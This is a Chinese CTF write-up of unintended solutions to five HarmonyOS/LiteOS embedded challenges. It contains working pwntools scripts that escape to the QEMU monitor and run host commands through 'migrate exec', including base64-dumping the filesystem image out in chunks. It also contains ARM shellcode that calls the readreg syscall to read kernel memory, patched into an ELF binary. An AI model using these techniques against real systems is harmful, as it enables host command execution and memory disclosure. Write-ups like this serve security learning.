XCTF 华为高校挑战赛决赛 嵌入式赛题 非预期解

总共5道嵌入式赛题,全部非预期…

image

用户态赛题

所有的启动脚本中,qemu都没有关monitor(-monitor /dev/null):

./qemu-system-arm -M hi3518 -kernel liteos.bin -nographic

所以可以直接发送控制字符组合(b"\x01c"),使得远程的qemu进入monitor模式,然后即可执行qemu外的系统命令:

from pwn import *
context(log_level='debug')

io =remote("172.35.7.36",9999)
io.send(b"\x01c")
io.interactive()

这种打法经常出现在qemu逃逸题目中非预期中,flag一般直接可以查看到,但本题的flag在harmonyOS的文件系统中,所以要重点关注rootfs.img

  • 解包工具:jefferson
  • 解包用法:jefferson rootfs.img -d ./xxx
  • 固件打包: mkfs.jffs2 -d ./xxx -o rootfs.img

unsql

可以执行本机命令后,尝试直接strings题目文件系统即可看到flag:

from pwn import *
context(log_level='debug')

io =remote("172.35.7.36",9999)
io.send(b"\x01c")
sleep(1)
io.sendline(b"")
io.sendlineafter("(qemu) ",'migrate "exec: strings /rootfs.img | grep flag"')
io.interactive()
flag{SQLITE_WORKS_Well_in_HarmonyOS}

yugioh

本题的文件系统strings后没有flag结果,分析程序,flag应该在远程文件系统中的cards文件夹中,所以想办法把远程的rootfs.img dump下来即可。首先将其base64编码:

migrate "exec: base64 rootfs.img > /tmp/1.txt 1>&2"

查看其总共12w行左右,然后分段下载,每次1w行,下载过程中可能不稳定,手工检查一下每个文件是否是1w行:

from pwn import *
#context(log_level='debug')

for j in range(0,13):
    io =remote("172.35.7.37",9999)
    io.send(b"\x01c")
    sleep(10)
    log.success("[shell]")
    f = open(str( j*100 ),'wb')
    for i in range(j*100,(j+1)*100):
        io.sendline(b"")
        io.sendlineafter("(qemu)",'migrate "exec: cat /tmp/1.txt | tail -n +%s | head -n 100 1>&2"'%str(i*100))
        a = io.recvuntil("tail: error writing")
        print('xuanxuan')
        print(a)
        if a[-19:] == b'tail: error writing':
            print('[+] %s / 1205' % str(i))
            f.write(a[-7719:-19])
            print(a[-789:-19])
        else:
            break
    f.close()
    io.close()

然后合并下载的13个文件并base64解码,然后解开文件系统就能找到flag:

➜  cd ./cards 
➜  grep -r "flag" ./
./Right_Leg_of_the_Forbidden_One:flag{Yugioh_Is_Really_FUN!}
./Right_Leg_of_the_Forbidden_One:flag{Yugioh_Is_Really_FUN!}

dptth

虽然本题的qemu也没有关monitor,但无法和qemu直接交互,交互的方式为发送base64编码的HTTP请求,然后由题目脚本转发给题目的webserver。不过发现远程直接发base64编码的GET / HTTP/1.1\n\n发现回包中本身就含有hacked,而题目检查回包中有hacked就打印flag:

#!/usr/bin/env python3
import socket
import base64
import os
import time
import atexit

def exit_handler():
    os.system("kill -9 `pidof qemu-system-arm`")

HOST = "192.168.1.10"  # The server's hostname or IP address
PORT = 8008  # The port used by the server

atexit.register(exit_handler)
os.system("./start_qemu.sh >/dev/null &")
print("Wait for the server to run up")
time.sleep(20)

def make_request(request_data):
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.connect((HOST, PORT))
        s.sendall(request_data)
        print("Waiting for output", flush=True)
        time.sleep(5)
        data = s.recv(1024)

    print("Received {}".format(data), flush=True)
    return data

for i in range(2):
    print("Give me your payload: ", flush=True)
    data = input().strip().encode("utf-8")
    data = base64.b64decode(data)
    make_request(data)

response = make_request(b"GET / HTTP/1.1\n\n")
if b"hacked" in response:
    with open("/flag", "r") as f:
        print(f.read(), flush=True)

因此无论输入什么只要不触发崩溃即可,测试发送base64编码的GET / HTTP/1.1\n\n几次即可:

>>> b64e(b"GET / HTTP/1.1\n\n")
'R0VUIC8gSFRUUC8xLjEKCg=='

image

flag{Clasic_http_ON_Harmony}

内核态赛题

虽然启动QEMU也没关monitor,但也是无法直接和QEMU交互。两年前在杭州进行鸿蒙系统开源测试的时候,就发现了HarmonyOS的shell里有一些内建命令,其中readreg可以直接读内核内存,而flag就在内核内存中…

这里readreg的含义应该是读取ARM SoC上的外设寄存器,这些寄存器访问就是通过物理地址。

image

不过由于远程不能直接执行shell命令,而是需要传一个ELF程序上去,所以我们需要分析readreg命令背后的原理,并实现到ELF中。分析这个命令的实现不在shell程序中,而是在内核中。并且为了方便选手逆向,题目还给了ELF格式的内核:

➜  grep -r "shell commands" ./
Binary file .//liteos.bin matches
Binary file .//liteos matches
➜  file liteos
liteos: ELF 32-bit LSB executable, ARM, statically linked, not stripped

分析两道题目的liteos中的flag地址分别为

  • harmodriver_revenge:0x40130580
  • drivemecrazy:0x40131580

以harmodriver_revenge为例,在调用readreg 0x40130580 0x20进行调试,因为实现在内核,所以将断点打在shell程序的syscall调用(base+0x4510):

.plt:00004510 syscall 
.plt:00004510 
.plt:00004510      ADRL      R12, 0x4518
.plt:00004518      LDR       PC, [R12,#(off_5164 - 0x4518)]!

调试方法如两年前所写:XCTF华为鸿蒙专场 HARMOFS01

image

执行readreg 0x40130580 100,断点断下,查看参数寄存器,发现shell命令的系统调用号为0x206,命令直接用字符串传递:

pwndbg> p /x $r0
$1 = 0x206
pwndbg> x /s $r1
0x242d4aa0:	"readreg"
pwndbg> x /s $r2
0x242d4a80:	"readreg 0x40130580 100"

查看libc.so中的syscall函数实现,确认syscall的参数传递符合arm标准,r0,r1传递参数,r7存放系统调用号:

.text:0006AB14 syscall
...
.text:0006AB2C            MOV      R7, R0
...
.text:0006AB34            MOV      R0, R1
...
.text:0006AB48            MOV      R1, R2
...
.text:0006AB60            SVC      0

所以可以写出调用readreg的shellcode:

from pwn import *
context(arch='arm')

shellcode = asm('''
mov r7,0x206
adr r0,readreg
adr r1,cmd
svc 0

readreg:
.asciz  "readreg"

cmd:
.asciz "readreg 0x40130580 100"
''')

print(shellcode.hex())

然后把这个shellcode塞进一个原本的程序中即可,这里以camera_app为例,其main函数在ELF文件0x1154偏移处:

from pwn import *
context(arch='arm')

shellcode = asm('''
mov r7,0x206
adr r0,readreg
adr r1,cmd
svc 0

readreg:
.asciz  "readreg"

cmd:
.asciz "readreg 0x40130580 100"
''')

print(shellcode.hex())

stub = open('./camera_app','rb').read()
exp  = stub[:0x1154]+shellcode+stub[0x1154+len(shellcode):]
open('./exp','wb').write(exp)

重打包后执行便可获取flag:

OHOS # ./exp
OHOS # 
 0x40130580 :67616c66 6968547b 73692073 726f6620 
 0x40130590 :73657420 00007d74 00000000 00000000 
 0x401305a0 :00000000 00000000 4006a2cc 00000000 
 0x401305b0 :00000000 00000000 400ec6ec 401305c8 
 0x401305c0 :4026b8bc 7fffffff 400de6b0 400f84dc 
 0x401305d0 :00000000 00000000 00000002 40300bfc 
 0x401305e0 :4006be2c 

然后将elf进行hex编码上传即可获取远程flag:

from pwn import *
context(log_level='debug')

exp = open("./exp",'rb').read().hex()
io = remote("172.35.7.35",9999)

io.sendlineafter(b"finish",exp)
sleep(0.1)
io.sendline(b"Exit")

io.interactive()

不过远程输出比较乱,可以开启pwntools的log_level='debug'然后手工处理一下,两个题目的返回如下

harmodriver_revenge

返回如下:

[DEBUG] Received 0xa84 bytes:
00000000  2e 2f 70 77  6e 0d 0d 0a  1b 5b 31 3b  33 31 6d 4f  │./pw│n···│·[1;│31mO│
00000010  48 4f 53 20  23 20 1b 5b  30 6d 0d 0d  0a 20 30 78  │HOS │# ·[│0m··│· 0x│
00000020  34 30 31 33  30 35 38 30  20 3a 36 37  36 31 36 63  │4013│0580│ :67│616c│
00000030  36 36 20 37  32 36 31 34  38 37 62 20  37 32 34 34  │66 7│2614│87b │7244│
00000040  36 66 36 64  20 36 35 37  32 35 66 36  39 20 0d 0d  │6f6d│ 657│25f6│9 ··│
00000050  0a 20 30 78  34 30 31 33  30 35 39 30  20 3a 34 37  │· 0x│4013│0590│ :47│
00000060  36 65 36 35  37 36 20 30  30 30 30 37  64 34 35 20  │6e65│76 0│0007│d45 │
00000070  30 30 30 30  30 30 30 30  20 30 30 30  30 30 30 30  │0000│0000│ 000│0000│
00000080  30 20 0d 0d  0a 20 30 78  34 30 31 33  30 35 61 30  │0 ··│· 0x│4013│05a0│
00000090  20 3a 30 30  30 30 30 30  30 30 20 30  30 30 30 30  │ :00│0000│00 0│0000│
000000a0  30 30 30 20  34 30 30 36  61 32 63 63  20 30 30 30  │000 │4006│a2cc│ 000│
000000b0  30 30 30 30  30 20 0d 0d  0a 20 30 78  34 30 31 33  │0000│0 ··│· 0x│4013│
000000c0  30 35 62 30  20 3a 30 30  30 30 30 30  30 30 20 30  │05b0│ :00│0000│00 0│
000000d0  30 30 30 30  30 30 30 20  34 30 30 65  63 36 64 61  │0000│000 │400e│c6da│
000000e0  20 34 30 31  33 30 35 63  38 20 0d 0d  0a 20 30 78  │ 401│305c│8 ··│· 0x│
000000f0  34 30 31 33  30 35 63 30  20 3a 34 30  32 36 62 38  │4013│05c0│ :40│26b8│
00000100  62 63 20 37  66 66 66 66  66 66 66 20  34 30 30 64  │bc 7│ffff│fff │400d│
00000110  65 36 62 30  20 34 30 30  66 38 34 64  63 20 0d 0d  │e6b0│ 400│f84d│c ··│
00000120  0a 20 30 78  34 30 31 33  30 35 64 30  20 3a 30 30  │· 0x│4013│05d0│ :00│
00000130  30 30 30 30  30 30 20 30  30 30 30 30  30 30 30 20  │0000│00 0│0000│000 │
00000140  30 30 30 30  30 30 30 32  20 34 30 33  30 30 62 66  │0000│0002│ 403│00bf│
00000150  63 20 0d 0d  0a 20 30 78  34 30 31 33  30 35 65 30  │c ··│· 0x│4013│05e0│
00000160  20 3a 34 30  30 36 62 65  32 63 20 0d  0d 0a 0d 0d  │ :40│06be│2c ·│····│
00000170  0a 2a 2a 2a  2a 2a 2a 2a  2a 2a 2a 2a  2a 2a 2a 2a  │·***│****│****│****│
00000180  2a 2a 2a 2a  2a 2a 2a 2a  2a 2a 2a 2a  2a 2a 2a 2a  │****│****│****│****│

处理并打印:

flag = bytes.fromhex('''
2e 2f 70 77  6e 0d 0d 0a  1b 5b 31 3b  33 31 6d 4f
48 4f 53 20  23 20 1b 5b  30 6d 0d 0d  0a 20 30 78
34 30 31 33  30 35 38 30  20 3a 36 37  36 31 36 63
36 36 20 37  32 36 31 34  38 37 62 20  37 32 34 34
36 66 36 64  20 36 35 37  32 35 66 36  39 20 0d 0d
0a 20 30 78  34 30 31 33  30 35 39 30  20 3a 34 37
36 65 36 35  37 36 20 30  30 30 30 37  64 34 35 20
30 30 30 30  30 30 30 30  20 30 30 30  30 30 30 30
30 20 0d 0d  0a 20 30 78  34 30 31 33  30 35 61 30
20 3a 30 30  30 30 30 30  30 30 20 30  30 30 30 30
30 30 30 20  34 30 30 36  61 32 63 63  20 30 30 30
30 30 30 30  30 20 0d 0d  0a 20 30 78  34 30 31 33
30 35 62 30  20 3a 30 30  30 30 30 30  30 30 20 30
30 30 30 30  30 30 30 20  34 30 30 65  63 36 64 61
20 34 30 31  33 30 35 63  38 20 0d 0d  0a 20 30 78
34 30 31 33  30 35 63 30  20 3a 34 30  32 36 62 38
62 63 20 37  66 66 66 66  66 66 66 20  34 30 30 64
65 36 62 30  20 34 30 30  66 38 34 64  63 20 0d 0d
0a 20 30 78  34 30 31 33  30 35 64 30  20 3a 30 30
30 30 30 30  30 30 20 30  30 30 30 30  30 30 30 20
30 30 30 30  30 30 30 32  20 34 30 33  30 30 62 66
63 20 0d 0d  0a 20 30 78  34 30 31 33  30 35 65 30
20 3a 34 30  30 36 62 65  32 63 20 0d  0d 0a 0d 0d
0a 2a 2a 2a  2a 2a 2a 2a  2a 2a 2a 2a  2a 2a 2a 2a
2a 2a 2a 2a  2a 2a 2a 2a  2a 2a 2a 2a  2a 2a 2a 2a
'''.replace(" ","").replace("\n",""))
print(flag.decode())

打印结果:

➜  python3 flag.py
./pwn
OHOS # 
 0x40130580 :67616c66 7261487b 72446f6d 65725f69 
 0x40130590 :476e6576 00007d45 00000000 00000000 
 0x401305a0 :00000000 00000000 4006a2cc 00000000 
 0x401305b0 :00000000 00000000 400ec6da 401305c8 
 0x401305c0 :4026b8bc 7fffffff 400de6b0 400f84dc 
 0x401305d0 :00000000 00000000 00000002 40300bfc 
 0x401305e0 :4006be2c 

*******************************

hex解码打印flag:

l = ["67616c66","7261487b","72446f6d","65725f69","476e6576","00007d45"]
f = b''
for i in l:
    f += bytes.fromhex(i)[::-1]
print(f)
flag{HarmoDri_revenGE}

drivemecrazy

同上,shellcode记得修改flag地址为0x40131580:

[DEBUG] Received 0xa84 bytes:
00000000  2e 2f 70 77  6e 0d 0d 0a  1b 5b 31 3b  33 31 6d 4f  │./pw│n···│·[1;│31mO│
00000010  48 4f 53 20  23 20 1b 5b  30 6d 0d 0d  0a 20 30 78  │HOS │# ·[│0m··│· 0x│
00000020  34 30 31 33  31 35 38 30  20 3a 36 37  36 31 36 63  │4013│1580│ :67│616c│
00000030  36 36 20 37  32 36 31 34  38 37 62 20  36 34 36 38  │66 7│2614│87b │6468│
00000040  36 66 36 64  20 36 39 37  32 34 34 36  36 20 0d 0d  │6f6d│ 697│2446│6 ··│
00000050  0a 20 30 78  34 30 31 33  31 35 39 30  20 3a 34 33  │· 0x│4013│1590│ :43│
00000060  36 35 36 64  37 36 20 37  34 37 30 37  39 37 32 20  │656d│76 7│4707│972 │
00000070  37 64 37 39  37 61 36 66  20 30 30 30  30 30 30 30  │7d79│7a6f│ 000│0000│
00000080  30 20 0d 0d  0a 20 30 78  34 30 31 33  31 35 61 30  │0 ··│· 0x│4013│15a0│
00000090  20 3a 30 30  30 30 30 30  30 30 20 30  30 30 30 30  │ :00│0000│00 0│0000│
000000a0  30 30 30 20  30 30 30 30  30 30 30 30  20 30 30 30  │000 │0000│0000│ 000│
000000b0  30 30 30 30  30 20 0d 0d  0a 20 30 78  34 30 31 33  │0000│0 ··│· 0x│4013│
000000c0  31 35 62 30  20 3a 30 30  30 30 30 30  30 30 20 30  │15b0│ :00│0000│00 0│
000000d0  30 30 30 30  30 30 30 20  34 30 30 36  61 32 64 38  │0000│000 │4006│a2d8│
000000e0  20 30 30 30  30 30 30 30  30 20 0d 0d  0a 20 30 78  │ 000│0000│0 ··│· 0x│
000000f0  34 30 31 33  31 35 63 30  20 3a 30 30  30 30 30 30  │4013│15c0│ :00│0000│
00000100  30 30 20 30  30 30 30 30  30 30 30 20  34 30 30 65  │00 0│0000│000 │400e│
00000110  64 37 37 39  20 34 30 31  33 31 35 64  38 20 0d 0d  │d779│ 401│315d│8 ··│
00000120  0a 20 30 78  34 30 31 33  31 35 64 30  20 3a 34 30  │· 0x│4013│15d0│ :40│
00000130  32 36 63 63  30 30 20 37  66 66 66 66  66 66 66 20  │26cc│00 7│ffff│fff │
00000140  34 30 30 64  66 36 63 66  20 34 30 30  66 39 36 32  │400d│f6cf│ 400│f962│
00000150  63 20 0d 0d  0a 20 30 78  34 30 31 33  31 35 65 30  │c ··│· 0x│4013│15e0│
00000160  20 3a 30 30  30 30 30 30  30 30 20 0d  0d 0a 0d 0d  │ :00│0000│00 ·│····│
00000170  0a 2a 2a 2a  2a 2a 2a 2a  2a 2a 2a 2a  2a 2a 2a 2a  │·***│****│****│****│
l = ["67616c66","7261487b","64686f6d","69724466","43656d76","74707972","7d797a6f"]
f = b''
for i in l:
    f += bytes.fromhex(i)[::-1]
print(f)
flag{HarmohdfDrivmeCryptozy}